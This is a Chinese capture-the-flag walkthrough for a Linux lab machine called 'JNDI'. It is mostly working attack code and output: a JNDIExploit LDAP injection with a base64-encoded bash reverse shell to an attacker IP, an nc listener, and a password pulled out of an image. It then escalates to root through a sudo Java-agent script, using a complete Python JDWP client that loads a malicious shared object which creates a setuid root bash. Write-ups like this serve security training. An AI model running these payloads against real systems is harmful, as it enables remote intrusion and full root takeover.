

靶机: JNDI
作者: S@Ku_γA (QQ: 2312194090)
靶机ID: 620
系统: Linux
难度: Medium

信息收集

[illegible]

8080端口探测

```

        <div class="char-name">铠冢 霏</div>
        <span class="char-role">双簧管 (Oboe)</span>
        <p style="margin-top: 15px; font-size: 0.95rem; text-align: left;">
            性格内向孤僻，除了希美以外没有朋友。她的音乐充满了压抑的情感，只有在提到希美时眼中才会有光。她在故事中面临着“是否要放开双手”的成长抉择。
        </p>
    </div>
    <div class="char-card">
        <div class="char-name">伞木 希美</div>
        <span class="char-role">长笛 (Flute)</span>
        <p style="margin-top: 15px; font-size: 0.95rem; text-align: left;">
            性格开朗，善于社交，是吹奏乐部的氛围制造者。但在面对霏沉重的爱时，她感到困惑和压力。她必须弄清楚自己真正的愿望，是留在原地还是飞向天空。
        </p>
    </div>
</div>
</section>

<!-- 艺术特色 -->
<section>
    <h2>独特的艺术表现</h2>
    <p>
        山田尚子导演在本作中展现了极具个人风格的视听语言，被许多影评人誉为“动画电影的巅峰之作”：
    </p>
    <ul>
        <li style="margin-bottom: 10px;"><strong>聚焦下半身的镜头：</strong>导演大量使用特写镜头拍摄角色的腿部、脚步和手部动作。这种视角避免了直接的眼神接触，
        <li style="margin-bottom: 10px;"><strong>环境音的运用：</strong>影片中充满了脚步声、翻谱声、呼吸声和远处的蝉鸣。这些细微的声音构建了一个极其真实的沉浸
        <li style="margin-bottom: 10px;"><strong>留白的叙事：</strong>对话极少，大量的情感交流通过眼神、沉默和音乐完成。这种“此时无声胜有声”的处理，留给观众
    </ul>
</section>

<!-- 结语 -->
<section style="background: linear-gradient(135deg, #e3f2fd 0%, #ffffff 100%);">
    <h2>结语</h2>
    <p>
        《利兹与青鸟》不仅仅是一部关于音乐的动画，它是一次对人际关系本质的温柔剖析。它告诉我们，真正的友谊和爱，不是占有，而是理解对方的梦想，并有勇气目送对方
    </p>
    <p style="text-align: center; font-weight: bold; color: var(--primary-blue); margin-top: 30px;">
        “飞吧，青鸟。去往属于你的蓝天。”
    </p>
</section>
</div>
<!--ptjo.pyv-->

```

凯撒解密

AmanCTF - 凯撒(Caesar)加密/解密

在线凯撒(Caesar)加密/解密

ptjo.pyv

偏移量

加密

解密

枚举

mqgr.mvs
lpfk.lur
koej.ktg
jndi.jsp
imch.irq
hlbg.hqn
gkaf.gpm
fjze.fol
eiyd.enk
dhxc.dmj

jndi入口

请输入你想要的资源名称

rce

```
(root@kali)-[~/JNDIExploit]
# java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
-jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.44.128
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...
[+] Received LDAP Query: basic/command/base64/YmFzaCAtYyAiYmFzaCAtaSA JjAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA JjEi
[+] Payload: command
[!] Exception: Incorrect params: basic/command/base64/YmFzaCAtYyAiYmFzaCAtaSA JjAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA JjEi
[+] Received LDAP Query: basic/command/base64/YmFzaCAtYyAiYmFzaCAtaSA+JjAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA+JjEi
[+] Payload: command
[+] Command: bash -c "bash -i >& /dev/tcp/192.168.44.128/4444 0>&1"
[+] Sending LDAP ResourceRef result for basic/command/base64/YmFzaCAtYyAiYmFzaCAtaSA+JjAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA+JjEi with basic remote reference payload
[+] Send LDAP reference result for basic/command/base64/YmFzaCAtYyAiYmFzaCAtaSA+JjAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA+JjEi redirecting to http://192.168.44.128:3456/ExploitPyf9pmxQ7b.class
[+] New HTTP Request From /192.168.44.223:57062 /ExploitPyf9pmxQ7b.class
[+] Receive ClassRequest: ExploitPyf9pmxQ7b.class
[+] Response Code: 200

(root@kali)-[~]
# python3 - <<'PY'
import base64,urllib.parse
cmd='bash -c "bash -i >& /dev/tcp/192.168.44.128/4444 0>&1"'
b=base64.b64encode(cmd.encode()).decode()
once = urllib.parse.quote(b, safe='')
twice = urllib.parse.quote(once, safe='')
print(twice)
PY
YmFzaCAtYyAiYmFzaCAtaSA%252BJjAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA%252BJjEi

(root@kali)-[~]
# curl -X POST http://192.168.44.223:8080/jndi.jsp \
-d "jndi_name=ldap://192.168.44.128:1389/basic/command/base64/YmFzaCAtYyAiYmFzaCAtaSA%252BJjAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEyOC80NDQ0IDA%252BJjEi"
```

```
(root@kali)-[~]
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.44.128] from (UNKNOWN) [192.168.44.223] 59958
bash: cannot set terminal process group (543): Inappropriate ioctl for device
bash: no job control in this shell
bluebird@JNDI:~$ id
id
uid=1001(bluebird) gid=1001(bluebird) groups=1001(bluebird)
```

这里双重编码是因为会字符截断，没有成功反弹shell

横向转移

查看最近更新文件,发现有一张未知图片

```
find /usr /opt /home -xdev -type f -printf '%TY-%Tm-%Td %TH:%TM:%TS %u:%g %M
%p\n' 2>/dev/null | sort -r | head -n 50
```

```
2026-03-24 07:13:33.8120000000 bluebird:bluebird -rw-r--r-- /home/bluebird/.selected_editor
2026-03-24 07:07:35.3840000000 bluebird:bluebird -rw----- /home/bluebird/.python_history
2026-03-24 03:36:15.4400000000 bluebird:bluebird -rw-r--r-- /home/bluebird/apache-tomcat-8.0.1/webapps/ROOT/jn
di.jsp
2026-03-24 03:36:15.0000000000 bluebird:bluebird -rw-r--r-- /home/bluebird/apache-tomcat-8.0.1/work/Catalina/l
ocalhost/ROOT/org/apache/jsp/jndi_jsp.java
2026-03-24 03:36:15.0000000000 bluebird:bluebird -rw-r--r-- /home/bluebird/apache-tomcat-8.0.1/work/Catalina/l
ocalhost/ROOT/org/apache/jsp/jndi_jsp.class
2026-03-24 02:27:38.1760000000 root:root -rw-r--rwx /usr/message/message.jpg
2026-03-24 00:56:13.3971201240 liz:liz -rw-r--r-- /home/liz/.bashrc
```

```
strings -a /usr/message/message.jpg
```

也可以正则过滤一下liz的信息

```
bash: no job control in this shell
bluebird@JNDI:~$ strings -a /usr/message/message.jpg | grep -i liz
strings -a /usr/message/message.jpg | grep -i liz
ilikeyouanmuximei(liz)
bluebird@JNDI:~$
```

尝试之后sanmuximei是liz的密码

权限提升

```
(root@kali)-[~]
# ssh liz@192.168.44.223
liz@192.168.44.223's password:
Linux JNDI 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 26 04:59:44 2026 from 192.168.44.1
liz@JNDI:~$ id
uid=1000(liz) gid=1000(liz) groups=1000(liz)
liz@JNDI:~$ 
liz@JNDI:~$ sudo -l
[sudo] password for liz:
Sorry, try again.
[sudo] password for liz:
Matching Defaults entries for liz on JNDI:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User liz may run the following commands on JNDI:
    (ALL) /bin/bash /opt/java_agent_start.sh
liz@JNDI:~$
```

java_agent_start.sh分析,又发现/opt/file/tmp是可以写入的

```
liz@JNDI:~$ cat /opt/java_agent_start.sh
#!/bin/bash

file_name=/opt/file/tmp

file_line=$(awk 'NR==1 {print;exit}' "$file_name")

file_line=$(basename $file_line)

cd /opt

echo $file_line

/usr/local/java/jdk1.8.0_20/bin/java -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/$file_line test
liz@JNDI:~$
```

那思路就来了 这个脚本会读/opt/file/tmp的第一行内容,然后拼成

java -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/这里的内容 test

这里不去构造agent,用系统libjdw.so的agent,然后去加载一个JDWP的调试器,用调试器再去加载恶意的so, Runtime.getRuntime().load("/tmp/rootme.so")

/opt/file/tmp

```
libjdpw.so=transport=dt_socket,server=y,suspend=y,address=5017
```

/tmp/rootme.so

```
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor)) void init() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");
}

gcc -shared -fPIC -o /tmp/rootme.so /tmp/rootme.c
```

JDWP 利用脚本

```
python3 - <<'PY'
import socket,struct

HOST='127.0.0.1'
PORT=5017

def recv_exact(s,n):
    b=b''
    while len(b)<n:
        c=s.recv(n-len(b))
        if not c:
            raise Exception('closed')
        b+=c
    return b

def readpkt(s):
    h=recv_exact(s,11)
    l,i,fl,ec=struct.unpack('>IIcH',h)
    body=recv_exact(s,l-11)
    return {'len':l,'id':i,'flags':fl[0],'err':ec,'body':body}

def sendreq(s,reqid,cmdset,cmd,data=b''):

    pkt=struct.pack('>IIccc',11+len(data),reqid,b'\x00',bytes([cmdset]),bytes([cmd
]))+data
    s.sendall(pkt)
```

```

    return readpkt(s)

def parse_string(body, off=0):
    n=struct.unpack('>I',body[off:off+4])[0]
    return body[off+4:off+4+n], off+4+n

req=1
def nextid():
    global req
    r=req
    req+=1
    return r

s=socket.socket()
s.connect((HOST,PORT))
s.send(b'JDWP-Handshake')
print('[*] handshake =', recv_exact(s,14))

# VM_START 事件包
first=readpkt(s)

# 取 ID 大小
ids=sendreq(s,nextid(),1,7)
FIELD,METHOD,OBJECT,REFTYPE,FRAME=struct.unpack('>IIIII', ids['body'])
print('[*] sizes =', FIELD,METHOD,OBJECT,REFTYPE,FRAME)

def allclasses():
    r=sendreq(s,nextid(),1,3)
    b=r['body']
    n=struct.unpack('>I',b[:4])[0]
    pos=4
    out=[]
    for _ in range(n):
        tag=b[pos]
        pos+=1
        ref=int.from_bytes(b[pos:pos+REFTYPE], 'big')
        pos+=REFTYPE
        sig,pos=parse_string(b,pos)
        status=struct.unpack('>I',b[pos:pos+4])[0]
        pos+=4
        out.append((tag,ref,sig,status))
    return out

def methods(ref):
    r=sendreq(s,nextid(),2,5,ref.to_bytes(REFTYPE, 'big'))
    b=r['body']

```

```

n=struct.unpack('>I',b[:4])[0]
pos=4
out=[]
for _ in range(n):
    mid=int.from_bytes(b[pos:pos+METHOD],'big')
    pos+=METHOD
    name,pos=parse_string(b,pos)
    sig,pos=parse_string(b,pos)
    mod=struct.unpack('>I',b[pos:pos+4])[0]
    pos+=4
    out.append((mid,name,sig,mod))
return out

def createstring(txt):
    data=struct.pack('>I',len(txt))+txt.encode()
    r=sendreq(s,nextid(),1,11,data)
    return int.from_bytes(r['body'][:OBJECT],'big')

classes=allclasses()
runtime_ref=[c for c in classes if c[2]==b'Ljava/lang/Runtime;'][0][1]
ps_ref=[c for c in classes if c[2]==b'Ljava/io/PrintStream;'][0][1]

rt_methods=methods(runtime_ref)
ps_methods=methods(ps_ref)

getRuntime_mid=[m for m in rt_methods if m[1]==b'getRuntime' and
m[2]==b'()Ljava/lang/Runtime;'][0][0]
load_mid=[m for m in rt_methods if m[1]==b'load' and
m[2]==b'(Ljava/lang/String;)V'][0][0]
println_mid=[m for m in ps_methods if m[1]==b'println' and
m[2]==b'(Ljava/lang/String;)V'][0][0]

print('[*] Runtime ref =', runtime_ref)
print('[*] PrintStream ref =', ps_ref)

# 在 println(String) 上下断点
loc = bytes([1]) + ps_ref.to_bytes(REFTYPE,'big') +
println_mid.to_bytes(METHOD,'big') + struct.pack('>Q',0)
data = bytes([2]) + bytes([2]) + struct.pack('>I',1) + bytes([7]) + loc
r=sendreq(s,nextid(),15,1,data)
break_id=struct.unpack('>I', r['body'])[0]
print('[*] breakpoint id =', break_id)

# 提前创建 "/tmp/rootme.so" 字符串对象
str_id=createstring('/tmp/rootme.so')
print('[*] string object =', str_id)

```

```

# 让 VM 跑起来, 等待命中 println
sendreq(s,nextid(),1,9)

while True:
    pkt=readpkt(s)
    b=pkt['body']
    sp=b[0]
    cnt=struct.unpack('>I',b[1:5])[0]
    ek=b[5]
    rid=struct.unpack('>I',b[6:10])[0]
    tid=int.from_bytes(b[10:10+OBJECT],'big')
    if rid==break_id:
        event_tid=tid
        print('[*] hit breakpoint, tid =', event_tid)
        break

# 调 Runtime.getRuntime()
idata = runtime_ref.to_bytes(REFTYPE,'big') \
    + event_tid.to_bytes(OBJECT,'big') \
    + getRuntime_mid.to_bytes(METHOD,'big') \
    + struct.pack('>I',0) \
    + struct.pack('>I',0)

ir=sendreq(s,nextid(),3,3,idata)
if ir['err'] != 0:
    raise Exception('invokestatic failed')

rtobj=int.from_bytes(ir['body'][1:1+OBJECT],'big')
print('[*] runtime object =', rtobj)

# 调 Runtime.load("/tmp/rootme.so")
arg = bytes([76]) + str_id.to_bytes(OBJECT,'big')
data = rtobj.to_bytes(OBJECT,'big') \
    + event_tid.to_bytes(OBJECT,'big') \
    + runtime_ref.to_bytes(REFTYPE,'big') \
    + load_mid.to_bytes(METHOD,'big') \
    + struct.pack('>I',1) \
    + arg \
    + struct.pack('>I',0)

r2=sendreq(s,nextid(),9,6,data)
print('[*] invoke load err =', r2['err'])

# 恢复线程和 VM
sendreq(s,nextid(),11,3,event_tid.to_bytes(OBJECT,'big'))

```

```
sendreq(s,nextid(),1,9)
```

```
print('[+] done')
```

```
PY
```

```
liz@JNDI:/tmp$ sudo /bin/bash /opt/java_agent_start.sh
[sudo] password for liz:
libjdpw.so=transport=dt_socket,server=y,suspend=y,address=5017
Listening for transport dt_socket at address: 5017
hello world
Listening for transport dt_socket at address: 5017
liz@JNDI:/tmp$ █

[*] handshake = b'JDWP-Handshake'
[*] sizes = 8 8 8 8 8
[*] Runtime ref = 141
[*] PrintStream ref = 120
[*] breakpoint id = 2
[*] string object = 329
[*] hit breakpoint, tid = 1
[*] runtime object = 330
[*] invoke load err = 0
[+] done
liz@JNDI:/tmp$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(liz) gid=1000(liz) euid=0(root) groups=1000(liz)
rootbash-5.0# █
```

